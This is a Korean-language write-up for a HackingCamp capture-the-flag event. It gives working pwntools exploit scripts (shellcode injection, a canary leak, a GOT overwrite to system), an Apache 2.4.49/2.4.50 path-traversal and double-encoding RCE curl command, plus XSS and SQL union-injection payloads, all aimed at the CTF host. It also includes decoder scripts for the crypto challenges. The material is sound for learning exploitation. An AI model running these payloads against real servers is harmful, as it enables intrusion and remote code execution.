(미스크, 포렌식, 기타 쉬운문제 제외한 간단 writeup)
invitation
from pwn import *
r=remote("ctf-hackingcamp.com",10319)
context.arch='i386'
b=ELF("./invitation")
pay=b'x'*0x18
pr=0x0804836d
pay+=p32(b.sym['CODE'])
r.sendafter("code : ",asm(shellcraft.i386.linux.sh()))
r.sendlineafter("password : ",pay)
r.interactive()
NX 가 꺼져잇어서 code 에 쉘코드넣고 해당위치로 리턴.
shell
execve 가 seccomp 걸려있었다.
도커파일있는줄 모르고 계속 getdents 로 읽어올려했는데 알고보니 /flag 에 있어서
편한 shellcraft 이용해서 orw
from pwn import *
r=remote("ctf-hackingcamp.com",14350)
context.log_level='debug'
context.arch='amd64'
sc=''
sc+=shellcraft.open("/flag")
sc+=shellcraft.read(3,'rsp',0x200)
sc+=shellcraft.write(1,'rsp',0x200)
sc=asm(sc)
r.send(sc)
r.interactive()
ssmash
마찬가지로 NX 가 꺼져있지만, canary 가 있어서
oob read 한 뒤, 쉘코드 적고 출력되는 buf 주소로 리턴
from pwn import *
r=remote("ctf-hackingcamp.com", 10305)
context.log_level='debug'
context.arch="amd64"
r.recvuntil("buf = ")
buf=int(r.recvline().strip(),16)
log.info(hex(buf))
r.sendafter("> ",b"ASMR")
pay=asm(shellcraft.sh())
pay=pay.ljust(0x88,b'\x90')
pay+=p64(buf)
r.sendlineafter("> ",pay)
r.interactive()
simple pwn
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int index; // [rsp+Ch] [rbp-34h] BYREF
char buf[32]; // [rsp+10h] [rbp-30h] BYREF
void *v5; // [rsp+30h] [rbp-10h]
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
setup();
while ( 1 )
{
puts("1. memo");
puts("2. exit");
printf("> ");
__isoc99_scanf("%d", &index);
if ( index != 1 )
break;
v5 = malloc(0x18uLL);
printf("Name : ");
read(0, buf, 0x28uLL);
printf("Memo : ");
read(0, v5, 8uLL);
puts(buf);
}
exit(1);
}
처음에는 좀 당황해서 멍때리고 있다가
buf 주소에 dl_fini 남아있길래 그거 릭해서 쉘땄는데 당연하게도 리모트는 안됐다.
그래서 어떻게 릭할지 생각해보다가
puts(buf)
이 부분을 보고, printf@plt 으로 got overwrite 해서 FSB 를 이용해 leak 해야겠다고 떠올랐다.
릭한 뒤, puts 를 system 함수 주소로 바꾸고 buf 에 /bin/sh 줘서 쉘 실행
from pwn import *
r=remote("ctf-hackingcamp.com", 40020 )
lib=ELF("./libc-2.23.so")
# r=process("./simplepwn")
b=ELF("./simplepwn")
# lib=b.libc
context.log_level='debug'
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'x'*0x20+p64(b.got['puts']))
r.sendafter("Memo : ",p64(b.plt['printf']))
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'%15$p')
pause()
r.sendafter("Memo : ",b'xx')
libc=int(r.recv(2*7),16)-lib.sym['__libc_start_main']
libc=libc&0xfffffffffffff000
print(hex(libc))
r.sendlineafter("> ",b"1")
r.sendafter("Name : ",b'/bin/sh\x00'+b'x'*0x18+p64(b.got['puts']))
r.sendafter("Memo : ",p64(libc+lib.sym['system']))
r.interactive()
Baby Crack
아이다로 까보니까, 각 글자에서 더하거나 빼는 것을 볼 수 있는데,
khngEe
에서 다시 빼거나 더해서 된다.
Basecamp
seeds=[1645021014]
import ctypes
for seed in seeds:
libc=ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(seed)
s=list('0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasd+/fghjklzxcvbnm')
rs=[]
for i in range(len(s)+1):
v4=libc.rand()%len(s)
v5=libc.rand()%len(s)
tmp=s[v4]
s[v4]=s[v5]
s[v5]=tmp
table=s
enc = open("out.txt").read()
def decode(text):
bins = str()
out=['0']*len(text)
for c in text:
if c == '=':
bins += '000000'
else:
bins += format(table.index(c),'06b')
c=0
for i in range(0,len(bins),8*3):
try:
out[c]=chr(int(bins[i:i+8],2))
out[c+1]=chr(int(bins[i+8:i+16],2))
out[c+2]=chr(int(bins[i+16:i+24],2))
except:
break
c+=3
return out
print(''.join(decode(enc.strip())))
srand(time(0)) 한 뒤,
rand() 위치에 있는 base64 테이블을 길이+1번
섞는다.
out.txt 에서 수정시간을 epoch 시간으로 바꾼 다음, 그 값을 seed 로 사용해서
flag 를 암호화할 때 사용한 base64 테이블을 구할 수 있다.
이제 out.txt 에서 모든 값들을 6자리 2진수로 변환해서 붙인 뒤
8글자씩 잘라서 문자화 하면 된다.
HCAMP{R4nd0_m_t4b1e_b4_s3_64}
Encryptor
l=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
with open("out.txt","rb") as f:
d=f.read()
for i in range(0,len(d),2):
c=d[i]
# print(c)
if l.index(c)>32 and l.index(c) <127 and l.index(c)!=ord('0'):
print(f"{chr(l.index(c))*d[i+1]}",end='')
암호화 할 값을 table 의 index 로 하여 문자를 가져오고, 다음 바이트에 그 문자가 반복되는 횟수를 적는다.
table 이 invere 가능하기 때문에, out.txt 에서 해당 문자의 index 를 가져와 다음 바이트만큼 곱해주면 된다.
Apache
전에 2.4.49 path traversal 이 CTF 에 나온 적이 있다.
curl ‘https://ctf-hackingcamp.com:4088//cgi-bin/.%2e/.%2e/.%2e/.%2e/this_is_flag’
Apache v2
패치된버전에서 일어날 수 있는 취약점인데,
더블인코딩으로 우회할 수 있다
https://www.youtube.com/watch?v=WSVcuV2Wc58
이 유튜부 참고해서 RCE 해주면 된다.
curl -X POST -v --path-as-is 'http://ctf-hackingcamp.com:4089/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' -d 'echo;cat /flag'
simple php
https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php
웹쉘을 LFI 로 실행시킬 수 있지만, phpinfo 를 보면, disable function 이 엄청나게 많기 때문에
원데이 이용해서 RCE
memo
난독화된 자바스크립트 함수가 있는데,
flag 변수가 1이면 실행된다.
xss 발생하길래 <script>flag=1</script>
넣어봤더니 파일명 출력되고 flag 가 있었다.
합격자 발표
1" union select * from prob limit 5,6#
1" union select * from prob limit 6,6#
...
union select 취약점 이용해서 멤버 하나씩 불러오면,
플래그가 있다. concat 로 모든멤버 불러오는방법도 있더라